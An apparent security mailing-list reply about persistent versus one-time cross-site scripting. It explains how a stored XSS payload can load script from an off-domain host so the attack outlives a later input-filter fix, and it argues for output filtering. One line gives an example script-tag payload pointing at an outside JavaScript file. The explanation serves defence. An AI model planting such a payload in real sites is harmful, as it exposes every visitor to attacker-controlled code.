Re: CSS implication

[Jeremiah Grossman <jeremiah () whitehatsec com>]

zero wrote:

> > Having a bit of trouble understanding what you mean....
> > but...I think your right, some XSS attacks dont have to "directly " effect
> > the user, but they manipulate them in some way. However, I still think this
> > type of attack would be grouped as an implication of XSS.
>
>          Yeap, that's it. What I mean is that sometimes, you can send the
> bogus code into a board or a forum, which makes it even more dangerous
> cause it will be executed by every user that views the page. On the other
> hand you've got other CSS attacks which you only can execute code if you
> pass and exact url, and only once, cause the link doesn't gets stored on
> the server.

Ahh yes. The difference between "persistent" and "one-time-click" XSS.  The
persistent
variant is much more dangerous as you pointed out and has an easier time
effecting
many more users in a given amount of time.

One of the lesser know problems regarding (the lesser known) XSS problem is
that
of "holding the hole open" (lack of a better term) using persistent XSS
vulnerabilities.

Once XSS code is injected into a persistent environment (HTML
Chat/Auction/Mail,etc.)
it will stay there (for a length of time), even if the input filtering problem
is fixed at some point.
The "code" is still on the domain. What an attacker can do is SRC the JS code
as most of us
already commonly know.

*SCRIPT SRC="http://www.offdomain.com/javascript.js";></SCRIPT*

This provides a continuing threat that the JS code can be altered without
having to re-inject
the javascript. Good thing for the attacker if the filtering mechanism has been
properly
fixed. They can now use this stepping stone to change the "code" to do whatever
they
wish and not have to be locked into any one action.

What happens is that the attacker has turned this XSS hole into a contstant,
well hidden,
"click-on-link-to-XSS-me" vulnerability within the domain. Again, after the
input filter
problem has been fixed, the XSS vulnerability lives on.

This is why is absolutely essential to filter output as well as input,
especially if one
is not able to crawl a database looking for malformed user input data and
eliminating it.

Make sense?


Jeremiah Grossman
WhiteHat Security, Inc.
http://community.whitehatsec.com